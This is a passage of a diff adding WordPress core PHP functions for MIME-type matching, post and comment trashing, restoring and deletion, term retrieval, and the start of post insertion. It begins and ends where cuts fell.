+	 *
+	 * @param object $counts    An object containing the attachment counts by
+	 *                          mime type.
+	 * @param string $mime_type The mime type pattern used to filter the attachments
+	 *                          counted.
+	 */
+	return apply_filters( 'wp_count_attachments', (object) $counts, $mime_type );
+}
+
+/**
+ * Get default post mime types.
+ *
+ * @since 2.9.0
+ *
+ * @return array List of post mime types.
+ */
+function get_post_mime_types() {
+	$post_mime_types = array(	//	array( adj, noun )
+		'image' => array(__('Images'), __('Manage Images'), _n_noop('Image <span class="count">(%s)</span>', 'Images <span class="count">(%s)</span>')),
+		'audio' => array(__('Audio'), __('Manage Audio'), _n_noop('Audio <span class="count">(%s)</span>', 'Audio <span class="count">(%s)</span>')),
+		'video' => array(__('Video'), __('Manage Video'), _n_noop('Video <span class="count">(%s)</span>', 'Video <span class="count">(%s)</span>')),
+	);
+
+	/**
+	 * Filters the default list of post mime types.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $post_mime_types Default list of post mime types.
+	 */
+	return apply_filters( 'post_mime_types', $post_mime_types );
+}
+
+/**
+ * Check a MIME-Type against a list.
+ *
+ * If the wildcard_mime_types parameter is a string, it must be comma separated
+ * list. If the real_mime_types is a string, it is also comma separated to
+ * create the list.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $wildcard_mime_types Mime types, e.g. audio/mpeg or image (same as image/*)
+ *                                          or flash (same as *flash*).
+ * @param string|array $real_mime_types     Real post mime type values.
+ * @return array array(wildcard=>array(real types)).
+ */
+function wp_match_mime_types( $wildcard_mime_types, $real_mime_types ) {
+	$matches = array();
+	if ( is_string( $wildcard_mime_types ) ) {
+		$wildcard_mime_types = array_map( 'trim', explode( ',', $wildcard_mime_types ) );
+	}
+	if ( is_string( $real_mime_types ) ) {
+		$real_mime_types = array_map( 'trim', explode( ',', $real_mime_types ) );
+	}
+
+	$patternses = array();
+	$wild = '[-._a-z0-9]*';
+
+	foreach ( (array) $wildcard_mime_types as $type ) {
+		$mimes = array_map( 'trim', explode( ',', $type ) );
+		foreach ( $mimes as $mime ) {
+			$regex = str_replace( '__wildcard__', $wild, preg_quote( str_replace( '*', '__wildcard__', $mime ) ) );
+			$patternses[][$type] = "^$regex$";
+			if ( false === strpos( $mime, '/' ) ) {
+				$patternses[][$type] = "^$regex/";
+				$patternses[][$type] = $regex;
+			}
+		}
+	}
+	asort( $patternses );
+
+	foreach ( $patternses as $patterns ) {
+		foreach ( $patterns as $type => $pattern ) {
+			foreach ( (array) $real_mime_types as $real ) {
+				if ( preg_match( "#$pattern#", $real ) && ( empty( $matches[$type] ) || false === array_search( $real, $matches[$type] ) ) ) {
+					$matches[$type][] = $real;
+				}
+			}
+		}
+	}
+	return $matches;
+}
+
+/**
+ * Convert MIME types into SQL.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $post_mime_types List of mime types or comma separated string
+ *                                      of mime types.
+ * @param string       $table_alias     Optional. Specify a table alias, if needed.
+ *                                      Default empty.
+ * @return string The SQL AND clause for mime searching.
+ */
+function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) {
+	$where = '';
+	$wildcards = array('', '%', '%/%');
+	if ( is_string($post_mime_types) )
+		$post_mime_types = array_map('trim', explode(',', $post_mime_types));
+
+	$wheres = array();
+
+	foreach ( (array) $post_mime_types as $mime_type ) {
+		$mime_type = preg_replace('/\s/', '', $mime_type);
+		$slashpos = strpos($mime_type, '/');
+		if ( false !== $slashpos ) {
+			$mime_group = preg_replace('/[^-*.a-zA-Z0-9]/', '', substr($mime_type, 0, $slashpos));
+			$mime_subgroup = preg_replace('/[^-*.+a-zA-Z0-9]/', '', substr($mime_type, $slashpos + 1));
+			if ( empty($mime_subgroup) )
+				$mime_subgroup = '*';
+			else
+				$mime_subgroup = str_replace('/', '', $mime_subgroup);
+			$mime_pattern = "$mime_group/$mime_subgroup";
+		} else {
+			$mime_pattern = preg_replace('/[^-*.a-zA-Z0-9]/', '', $mime_type);
+			if ( false === strpos($mime_pattern, '*') )
+				$mime_pattern .= '/*';
+		}
+
+		$mime_pattern = preg_replace('/\*+/', '%', $mime_pattern);
+
+		if ( in_array( $mime_type, $wildcards ) )
+			return '';
+
+		if ( false !== strpos($mime_pattern, '%') )
+			$wheres[] = empty($table_alias) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'";
+		else
+			$wheres[] = empty($table_alias) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'";
+	}
+	if ( !empty($wheres) )
+		$where = ' AND (' . join(' OR ', $wheres) . ') ';
+	return $where;
+}
+
+/**
+ * Trash or delete a post or page.
+ *
+ * When the post and page is permanently deleted, everything that is tied to
+ * it is deleted also. This includes comments, post meta fields, and terms
+ * associated with the post.
+ *
+ * The post or page is moved to trash instead of permanently deleted unless
+ * trash is disabled, item is already in the trash, or $force_delete is true.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @see wp_delete_attachment()
+ * @see wp_trash_post()
+ *
+ * @param int  $postid       Optional. Post ID. Default 0.
+ * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
+ *                           Default false.
+ * @return WP_Post|false|null Post data on success, false or null on failure.
+ */
+function wp_delete_post( $postid = 0, $force_delete = false ) {
+	global $wpdb;
+
+	$post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $postid ) );
+
+	if ( ! $post ) {
+		return $post;
+	}
+
+	$post = get_post( $post );
+
+	if ( ! $force_delete && ( 'post' === $post->post_type || 'page' === $post->post_type ) && 'trash' !== get_post_status( $postid ) && EMPTY_TRASH_DAYS ) {
+		return wp_trash_post( $postid );
+	}
+
+	if ( 'attachment' === $post->post_type ) {
+		return wp_delete_attachment( $postid, $force_delete );
+	}
+
+	/**
+	 * Filters whether a post deletion should take place.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param bool    $delete       Whether to go forward with deletion.
+	 * @param WP_Post $post         Post object.
+	 * @param bool    $force_delete Whether to bypass the trash.
+	 */
+	$check = apply_filters( 'pre_delete_post', null, $post, $force_delete );
+	if ( null !== $check ) {
+		return $check;
+	}
+
+	/**
+	 * Fires before a post is deleted, at the start of wp_delete_post().
+	 *
+	 * @since 3.2.0
+	 *
+	 * @see wp_delete_post()
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'before_delete_post', $postid );
+
+	delete_post_meta($postid,'_wp_trash_meta_status');
+	delete_post_meta($postid,'_wp_trash_meta_time');
+
+	wp_delete_object_term_relationships($postid, get_object_taxonomies($post->post_type));
+
+	$parent_data = array( 'post_parent' => $post->post_parent );
+	$parent_where = array( 'post_parent' => $postid );
+
+	if ( is_post_type_hierarchical( $post->post_type ) ) {
+		// Point children of this page to its parent, also clean the cache of affected children.
+		$children_query = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type = %s", $postid, $post->post_type );
+		$children = $wpdb->get_results( $children_query );
+		if ( $children ) {
+			$wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => $post->post_type ) );
+		}
+	}
+
+	// Do raw query. wp_get_post_revisions() is filtered.
+	$revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) );
+	// Use wp_delete_post (via wp_delete_post_revision) again. Ensures any meta/misplaced data gets cleaned up.
+	foreach ( $revision_ids as $revision_id )
+		wp_delete_post_revision( $revision_id );
+
+	// Point all attachments to this post up one level.
+	$wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) );
+
+	wp_defer_comment_counting( true );
+
+	$comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $postid ));
+	foreach ( $comment_ids as $comment_id ) {
+		wp_delete_comment( $comment_id, true );
+	}
+
+	wp_defer_comment_counting( false );
+
+	$post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $postid ));
+	foreach ( $post_meta_ids as $mid )
+		delete_metadata_by_mid( 'post', $mid );
+
+	/**
+	 * Fires immediately before a post is deleted from the database.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'delete_post', $postid );
+	$result = $wpdb->delete( $wpdb->posts, array( 'ID' => $postid ) );
+	if ( ! $result ) {
+		return false;
+	}
+
+	/**
+	 * Fires immediately after a post is deleted from the database.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'deleted_post', $postid );
+
+	clean_post_cache( $post );
+
+	if ( is_post_type_hierarchical( $post->post_type ) && $children ) {
+		foreach ( $children as $child )
+			clean_post_cache( $child );
+	}
+
+	wp_clear_scheduled_hook('publish_future_post', array( $postid ) );
+
+	/**
+	 * Fires after a post is deleted, at the conclusion of wp_delete_post().
+	 *
+	 * @since 3.2.0
+	 *
+	 * @see wp_delete_post()
+	 *
+	 * @param int $postid Post ID.
+	 */
+	do_action( 'after_delete_post', $postid );
+
+	return $post;
+}
+
+/**
+ * Reset the page_on_front, show_on_front, and page_for_post settings when
+ * a linked page is deleted or trashed.
+ *
+ * Also ensures the post is no longer sticky.
+ *
+ * @since 3.7.0
+ * @access private
+ *
+ * @param int $post_id Post ID.
+ */
+function _reset_front_page_settings_for_post( $post_id ) {
+	$post = get_post( $post_id );
+	if ( 'page' == $post->post_type ) {
+	 	/*
+	 	 * If the page is defined in option page_on_front or post_for_posts,
+	 	 * adjust the corresponding options.
+	 	 */
+		if ( get_option( 'page_on_front' ) == $post->ID ) {
+			update_option( 'show_on_front', 'posts' );
+			update_option( 'page_on_front', 0 );
+		}
+		if ( get_option( 'page_for_posts' ) == $post->ID ) {
+			delete_option( 'page_for_posts', 0 );
+		}
+	}
+	unstick_post( $post->ID );
+}
+
+/**
+ * Move a post or page to the Trash
+ *
+ * If trash is disabled, the post or page is permanently deleted.
+ *
+ * @since 2.9.0
+ *
+ * @see wp_delete_post()
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post
+ *                     if EMPTY_TRASH_DAYS equals true.
+ * @return WP_Post|false|null Post data on success, false or null on failure.
+ */
+function wp_trash_post( $post_id = 0 ) {
+	if ( ! EMPTY_TRASH_DAYS ) {
+		return wp_delete_post( $post_id, true );
+	}
+
+	$post = get_post( $post_id );
+
+	if ( ! $post ) {
+		return $post;
+	}
+
+	if ( 'trash' === $post->post_status ) {
+		return false;
+	}
+
+	/**
+	 * Filters whether a post trashing should take place.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param bool    $trash Whether to go forward with trashing.
+	 * @param WP_Post $post  Post object.
+	 */
+	$check = apply_filters( 'pre_trash_post', null, $post );
+	if ( null !== $check ) {
+		return $check;
+	}
+
+	/**
+	 * Fires before a post is sent to the trash.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'wp_trash_post', $post_id );
+
+	add_post_meta( $post_id, '_wp_trash_meta_status', $post->post_status );
+	add_post_meta( $post_id, '_wp_trash_meta_time', time() );
+
+	wp_update_post( array( 'ID' => $post_id, 'post_status' => 'trash' ) );
+
+	wp_trash_post_comments( $post_id );
+
+	/**
+	 * Fires after a post is sent to the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'trashed_post', $post_id );
+
+	return $post;
+}
+
+/**
+ * Restore a post or page from the Trash.
+ *
+ * @since 2.9.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return WP_Post|false|null Post data on success, false or null on failure.
+ */
+function wp_untrash_post( $post_id = 0 ) {
+	$post = get_post( $post_id );
+
+	if ( ! $post ) {
+		return $post;
+	}
+
+	if ( 'trash' !== $post->post_status ) {
+		return false;
+	}
+
+	/**
+	 * Filters whether a post untrashing should take place.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param bool    $untrash Whether to go forward with untrashing.
+	 * @param WP_Post $post    Post object.
+	 */
+	$check = apply_filters( 'pre_untrash_post', null, $post );
+	if ( null !== $check ) {
+		return $check;
+	}
+
+	/**
+	 * Fires before a post is restored from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrash_post', $post_id );
+
+	$post_status = get_post_meta( $post_id, '_wp_trash_meta_status', true );
+
+	delete_post_meta( $post_id, '_wp_trash_meta_status' );
+	delete_post_meta( $post_id, '_wp_trash_meta_time' );
+
+	wp_update_post( array( 'ID' => $post_id, 'post_status' => $post_status ) );
+
+	wp_untrash_post_comments( $post_id );
+
+	/**
+	 * Fires after a post is restored from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrashed_post', $post_id );
+
+	return $post;
+}
+
+/**
+ * Moves comments for a post to the trash.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
+ * @return mixed|void False on failure.
+ */
+function wp_trash_post_comments( $post = null ) {
+	global $wpdb;
+
+	$post = get_post($post);
+	if ( empty($post) )
+		return;
+
+	$post_id = $post->ID;
+
+	/**
+	 * Fires before comments are sent to the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'trash_post_comments', $post_id );
+
+	$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_ID, comment_approved FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id) );
+	if ( empty($comments) )
+		return;
+
+	// Cache current status for each comment.
+	$statuses = array();
+	foreach ( $comments as $comment )
+		$statuses[$comment->comment_ID] = $comment->comment_approved;
+	add_post_meta($post_id, '_wp_trash_meta_comments_status', $statuses);
+
+	// Set status for all comments to post-trashed.
+	$result = $wpdb->update($wpdb->comments, array('comment_approved' => 'post-trashed'), array('comment_post_ID' => $post_id));
+
+	clean_comment_cache( array_keys($statuses) );
+
+	/**
+	 * Fires after comments are sent to the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int   $post_id  Post ID.
+	 * @param array $statuses Array of comment statuses.
+	 */
+	do_action( 'trashed_post_comments', $post_id, $statuses );
+
+	return $result;
+}
+
+/**
+ * Restore comments for a post from the trash.
+ *
+ * @since 2.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post.
+ * @return true|void
+ */
+function wp_untrash_post_comments( $post = null ) {
+	global $wpdb;
+
+	$post = get_post($post);
+	if ( empty($post) )
+		return;
+
+	$post_id = $post->ID;
+
+	$statuses = get_post_meta($post_id, '_wp_trash_meta_comments_status', true);
+
+	if ( empty($statuses) )
+		return true;
+
+	/**
+	 * Fires before comments are restored for a post from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrash_post_comments', $post_id );
+
+	// Restore each comment to its original status.
+	$group_by_status = array();
+	foreach ( $statuses as $comment_id => $comment_status )
+		$group_by_status[$comment_status][] = $comment_id;
+
+	foreach ( $group_by_status as $status => $comments ) {
+		// Sanity check. This shouldn't happen.
+		if ( 'post-trashed' == $status ) {
+			$status = '0';
+		}
+		$comments_in = implode( ', ', array_map( 'intval', $comments ) );
+		$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->comments SET comment_approved = %s WHERE comment_ID IN ($comments_in)", $status ) );
+	}
+
+	clean_comment_cache( array_keys($statuses) );
+
+	delete_post_meta($post_id, '_wp_trash_meta_comments_status');
+
+	/**
+	 * Fires after comments are restored for a post from the trash.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $post_id Post ID.
+	 */
+	do_action( 'untrashed_post_comments', $post_id );
+}
+
+/**
+ * Retrieve the list of categories for a post.
+ *
+ * Compatibility layer for themes and plugins. Also an easy layer of abstraction
+ * away from the complexity of the taxonomy layer.
+ *
+ * @since 2.1.0
+ *
+ * @see wp_get_object_terms()
+ *
+ * @param int   $post_id Optional. The Post ID. Does not default to the ID of the
+ *                       global $post. Default 0.
+ * @param array $args    Optional. Category query parameters. Default empty array.
+ *                       See WP_Term_Query::__construct() for supported arguments.
+ * @return array|WP_Error List of categories. If the `$fields` argument passed via `$args` is 'all' or
+ *                        'all_with_object_id', an array of WP_Term objects will be returned. If `$fields`
+ *                        is 'ids', an array of category ids. If `$fields` is 'names', an array of category names.
+ *                        WP_Error object if 'category' taxonomy doesn't exist.
+ */
+function wp_get_post_categories( $post_id = 0, $args = array() ) {
+	$post_id = (int) $post_id;
+
+	$defaults = array('fields' => 'ids');
+	$args = wp_parse_args( $args, $defaults );
+
+	$cats = wp_get_object_terms($post_id, 'category', $args);
+	return $cats;
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * There is only one default for this function, called 'fields' and by default
+ * is set to 'all'. There are other defaults that can be overridden in
+ * wp_get_object_terms().
+ *
+ * @since 2.3.0
+ *
+ * @param int   $post_id Optional. The Post ID. Does not default to the ID of the
+ *                       global $post. Default 0.
+ * @param array $args    Optional. Tag query parameters. Default empty array.
+ *                       See WP_Term_Query::__construct() for supported arguments.
+ * @return array|WP_Error Array of WP_Term objects on success or empty array if no tags were found.
+ *                        WP_Error object if 'post_tag' taxonomy doesn't exist.
+ */
+function wp_get_post_tags( $post_id = 0, $args = array() ) {
+	return wp_get_post_terms( $post_id, 'post_tag', $args);
+}
+
+/**
+ * Retrieves the terms for a post.
+ *
+ * @since 2.8.0
+ *
+ * @param int          $post_id  Optional. The Post ID. Does not default to the ID of the
+ *                               global $post. Default 0.
+ * @param string|array $taxonomy Optional. The taxonomy slug or array of slugs for which
+ *                               to retrieve terms. Default 'post_tag'.
+ * @param array        $args     {
+ *     Optional. Term query parameters. See WP_Term_Query::__construct() for supported arguments.
+ *
+ *     @type string $fields Term fields to retrieve. Default 'all'.
+ * }
+ * @return array|WP_Error Array of WP_Term objects on success or empty array if no terms were found.
+ *                        WP_Error object if `$taxonomy` doesn't exist.
+ */
+function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) {
+	$post_id = (int) $post_id;
+
+	$defaults = array('fields' => 'all');
+	$args = wp_parse_args( $args, $defaults );
+
+	$tags = wp_get_object_terms($post_id, $taxonomy, $args);
+
+	return $tags;
+}
+
+/**
+ * Retrieve a number of recent posts.
+ *
+ * @since 1.0.0
+ *
+ * @see get_posts()
+ *
+ * @param array  $args   Optional. Arguments to retrieve posts. Default empty array.
+ * @param string $output Optional. The required return type. One of OBJECT or ARRAY_A, which correspond to
+ *                       a WP_Post object or an associative array, respectively. Default ARRAY_A.
+ * @return array|false Array of recent posts, where the type of each element is determined by $output parameter.
+ *                     Empty array on failure.
+ */
+function wp_get_recent_posts( $args = array(), $output = ARRAY_A ) {
+
+	if ( is_numeric( $args ) ) {
+		_deprecated_argument( __FUNCTION__, '3.1.0', __( 'Passing an integer number of posts is deprecated. Pass an array of arguments instead.' ) );
+		$args = array( 'numberposts' => absint( $args ) );
+	}
+
+	// Set default arguments.
+	$defaults = array(
+		'numberposts' => 10, 'offset' => 0,
+		'category' => 0, 'orderby' => 'post_date',
+		'order' => 'DESC', 'include' => '',
+		'exclude' => '', 'meta_key' => '',
+		'meta_value' =>'', 'post_type' => 'post', 'post_status' => 'draft, publish, future, pending, private',
+		'suppress_filters' => true
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$results = get_posts( $r );
+
+	// Backward compatibility. Prior to 3.1 expected posts to be returned in array.
+	if ( ARRAY_A == $output ){
+		foreach ( $results as $key => $result ) {
+			$results[$key] = get_object_vars( $result );
+		}
+		return $results ? $results : array();
+	}
+
+	return $results ? $results : false;
+
+}
+
+/**
+ * Insert or update a post.
+ *
+ * If the $postarr parameter has 'ID' set to a value, then post will be updated.
+ *
+ * You can set the post date manually, by setting the values for 'post_date'
+ * and 'post_date_gmt' keys. You can close the comments or open the comments by
+ * setting the value for 'comment_status' key.
+ *
+ * @since 1.0.0
+ * @since 4.2.0 Support was added for encoding emoji in the post title, content, and excerpt.
+ * @since 4.4.0 A 'meta_input' array can now be passed to `$postarr` to add post meta data.
+ *
+ * @see sanitize_post()
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $postarr {
+ *     An array of elements that make up a post to update or insert.
+ *
+ *     @type int    $ID                    The post ID. If equal to something other than 0,
+ *                                         the post with that ID will be updated. Default 0.
+ *     @type int    $post_author           The ID of the user who added the post. Default is
+ *                                         the current user ID.
+ *     @type string $post_date             The date of the post. Default is the current time.
+ *     @type string $post_date_gmt         The date of the post in the GMT timezone. Default is
+ *                                         the value of `$post_date`.
+ *     @type mixed  $post_content          The post content. Default empty.
+ *     @type string $post_content_filtered The filtered post content. Default empty.
+ *     @type string $post_title            The post title. Default empty.
+ *     @type string $post_excerpt          The post excerpt. Default empty.
+ *     @type string $post_status           The post status. Default 'draft'.
+ *     @type string $post_type             The post type. Default 'post'.
+ *     @type string $comment_status        Whether the post can accept comments. Accepts 'open' or 'closed'.
+ *                                         Default is the value of 'default_comment_status' option.
+ *     @type string $ping_status           Whether the post can accept pings. Accepts 'open' or 'closed'.
+ *                                         Default is the value of 'default_ping_status' option.
+ *     @type string $post_password         The password to access the post. Default empty.
+ *     @type string $post_name             The post name. Default is the sanitized post title
+ *                                         when creating a new post.
+ *     @type string $to_ping               Space or carriage return-separated list of URLs to ping.
+ *                                         Default empty.
+ *     @type string $pinged                Space or carriage return-separated list of URLs that have
+ *                                         been pinged. Default empty.
+ *     @type string $post_modified         The date when the post was last modified. Default is
+ *                                         the current time.
+ *     @type string $post_modified_gmt     The date when the post was last modified in the GMT
+ *                                         timezone. Default is the current time.
+ *     @type int    $post_parent           Set this for the post it belongs to, if any. Default 0.
+ *     @type int    $menu_order            The order the post should be displayed in. Default 0.
+ *     @type string $post_mime_type        The mime type of the post. Default empty.
+ *     @type string $guid                  Global Unique ID for referencing the post. Default empty.
+ *     @type array  $post_category         Array of category names, slugs, or IDs.
+ *                                         Defaults to value of the 'default_category' option.
+ *     @type array  $tags_input            Array of tag names, slugs, or IDs. Default empty.
+ *     @type array  $tax_input             Array of taxonomy terms keyed by their taxonomy name. Default empty.
+ *     @type array  $meta_input            Array of post meta values keyed by their post meta key. Default empty.
+ * }
+ * @param bool  $wp_error Optional. Whether to return a WP_Error on failure. Default false.
+ * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure.
+ */
+function wp_insert_post( $postarr, $wp_error = false ) {
+	global $wpdb;
+
+	// Capture original pre-sanitized array for passing into filters.
+	$unsanitized_postarr = $postarr;
+
+	$user_id = get_current_user_id();
+
+	$defaults = array(
+		'post_author' => $user_id,
+		'post_content' => '',
+		'post_content_filtered' => '',
+		'post_title' => '',
+		'post_excerpt' => '',
+		'post_status' => 'draft',
+		'post_type' => 'post',
+		'comment_status' => '',
+		'ping_status' => '',
+		'post_password' => '',
+		'to_ping' =>  '',
+		'pinged' => '',
+		'post_parent' => 0,
+		'menu_order' => 0,
+		'guid' => '',
+		'import_id' => 0,
+		'context' => '',
+	);
+
+	$postarr = wp_parse_args($postarr, $defaults);
+
+	unset( $postarr[ 'filter' ] );
+
+	$postarr = sanitize_post($postarr, 'db');
+
+	// Are we updating or creating?
+	$post_ID = 0;
+	$update = false;
+	$guid = $postarr['guid'];
+
+	if ( ! empty( $postarr['ID'] ) ) {
+		$update = true;
+
+		// Get the post ID and GUID.
+		$post_ID = $postarr['ID'];
+		$post_before = get_post( $post_ID );
+		if ( is_null( $post_before ) ) {
+			if ( $wp_error ) {
+				return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
+			}
+			return 0;
+		}
+
+		$guid = get_post_field( 'guid', $post_ID );
+		$previous_status = get_post_field('post_status', $post_ID );
+	} else {
+		$previous_status = 'new';
+	}
+
+	$post_type = empty( $postarr['post_type'] ) ? 'post' : $postarr['post_type'];
+
+	$post_title = $postarr['post_title'];
+	$post_content = $postarr['post_content'];
+	$post_excerpt = $postarr['post_excerpt'];
+	if ( isset( $postarr['post_name'] ) ) {
+		$post_name = $postarr['post_name'];
+	} elseif ( $update ) {
+		// For an update, don't modify the post_name if it wasn't supplied as an argument.
+		$post_name = $post_before->post_name;
+	}
+
+	$maybe_empty = 'attachment' !== $post_type
+		&& ! $post_content && ! $post_title && ! $post_excerpt
+		&& post_type_supports( $post_type, 'editor' )
+		&& post_type_supports( $post_type, 'title' )
+		&& post_type_supports( $post_type, 'excerpt' );
+
+	/**
+	 * Filters whether the post should be considered "empty".
+	 *
+	 * The post is considered "empty" if both:
+	 * 1. The post type supports the title, editor, and excerpt fields
+	 * 2. The title, editor, and excerpt fields are all empty
+	 *
+	 * Returning a truthy value to the filter will effectively short-circuit
+	 * the new post being inserted, returning 0. If $wp_error is true, a WP_Error
+	 * will be returned instead.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param bool  $maybe_empty Whether the post should be considered "empty".
+	 * @param array $postarr     Array of post data.
+	 */
+	if ( apply_filters( 'wp_insert_post_empty_content', $maybe_empty, $postarr ) ) {
+		if ( $wp_error ) {
+			return new WP_Error( 'empty_content', __( 'Content, title, and excerpt are empty.' ) );
+		} else {
+			return 0;
+		}
+	}
+
+	$post_status = empty( $postarr['post_status'] ) ? 'draft' : $postarr['post_status'];
+	if ( 'attachment' === $post_type && ! in_array( $post_status, array( 'inherit', 'private', 'trash', 'auto-draft' ), true ) ) {
+		$post_status = 'inherit';
+	}
+
+	if ( ! empty( $postarr['post_category'] ) ) {
+		// Filter out empty terms.
+		$post_category = array_filter( $postarr['post_category'] );
+	}
+
+	// Make sure we set a valid category.
+	if ( empty( $post_category ) || 0 == count( $post_category ) || ! is_array( $post_category ) ) {
+		// 'post' requires at least one category.
+		if ( 'post' == $post_type && 'auto-draft' != $post_status ) {
+			$post_category = array( get_option('default_category') );
+		} else {
+			$post_category = array();
+		}
+	}
+
+	// Don't allow contributors to set the post slug for pending review posts.
+	if ( 'pending' == $post_status && !current_user_can( 'publish_posts' ) ) {
+		$post_name = '';
+	}
+
+	/*
+	 * Create a valid post name. Drafts and pending posts are allowed to have
+	 * an empty post name.
+	 */
+	if ( empty($post_name) ) {
+		if ( !in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) ) {
+			$post_name = sanitize_title($post_title);
+		} else {
+			$post_name = '';
+		}
+	} else {
+		// On updates, we need to check to see if it's using the old, fixed sanitization context.
+		$check_name = sanitize_title( $post_name, '', 'old-save' );
+		if ( $update && strtolower( urlencode( $post_name ) ) == $check_name && get_post_field( 'post_name', $post_ID ) == $check_name ) {
+			$post_name = $check_name;
+		} else { // new post, or slug has changed.
+			$post_name = sanitize_title($post_name);
+		}
+	}
+
+	/*
+	 * If the post date is empty (due to having been new or a draft) and status
+	 * is not 'draft' or 'pending', set date to now.
+	 */
+	if ( empty( $postarr['post_date'] ) || '0000-00-00 00:00:00' == $postarr['post_date'] ) {
+		if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' == $postarr['post_date_gmt'] ) {
+			$post_date = current_time( 'mysql' );
+		} else {
+			$post_date = get_date_from_gmt( $postarr['post_date_gmt'] );
+		}
+	} else {
+		$post_date = $postarr['post_date'];
+	}
+
+	// Validate the date.
+	$mm = substr( $post_date, 5, 2 );
+	$jj = substr( $post_date, 8, 2 );
+	$aa = substr( $post_date, 0, 4 );
+	$valid_date = wp_checkdate( $mm, $jj, $aa, $post_date );
+	if ( ! $valid_date ) {
+		if ( $wp_error ) {
+			return new WP_Error( 'invalid_date', __( 'Invalid date.' ) );
+		} else {
+			return 0;
+		}
+	}
+
+	if ( empty( $postarr['post_date_gmt'] ) || '0000-00-00 00:00:00' == $postarr['post_date_gmt'] ) {
+		if ( ! in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ) ) ) {
+			$post_date_gmt = get_gmt_from_date( $post_date );
+		} else {
+			$post_date_gmt = '0000-00-00 00:00:00';
+		}
+	} else {
+		$post_date_gmt = $postarr['post_date_gmt'];
+	}
+
+	if ( $update || '0000-00-00 00:00:00' == $post_date ) {
+		$post_modified     = current_time( 'mysql' );
+		$post_modified_gmt = current_time( 'mysql', 1 );
+	} else {
+		$post_modified     = $post_date;
+		$post_modified_gmt = $post_date_gmt;
+	}
+
+	if ( 'attachment' !== $post_type ) {
+		if ( 'publish' == $post_status ) {
+			$now = gmdate('Y-m-d H:i:59');
+			if ( mysql2date('U', $post_date_gmt, false) > mysql2date('U', $now, false) ) {
+				$post_status = 'future';
+			}
+		} elseif ( 'future' == $post_status ) {
+			$now = gmdate('Y-m-d H:i:59');
+			if ( mysql2date('U', $post_date_gmt, false) <= mysql2date('U', $now, false) ) {
+				$post_status = 'publish';
+			}
+		}
+	}
+
+	// Comment status.
+	if ( empty( $postarr['comment_status'] ) ) {
+		if ( $update ) {
+			$comment_status = 'closed';
+		} else {
+			$comment_status = get_default_comment_status( $post_type );
+		}
+	} else {
+		$comment_status = $postarr['comment_status'];
+	}
+
+	// These variables are needed by compact() later.
+	$post_content_filtered = $postarr['post_content_filtered'];
+	$post_author = isset( $postarr['post_author'] ) ? $postarr['post_author'] : $user_id;
+	$ping_status = empty( $postarr['ping_status'] ) ? get_default_comment_status( $post_type, 'pingback' ) : $postarr['ping_status'];
+	$to_ping = isset( $postarr['to_ping'] ) ? sanitize_trackback_urls( $postarr['to_ping'] ) : '';
+	$pinged = isset( $postarr['pinged'] ) ? $postarr['pinged'] : '';
+	$import_id = isset( $postarr['import_id'] ) ? $postarr['import_id'] : 0;
+
+	/*
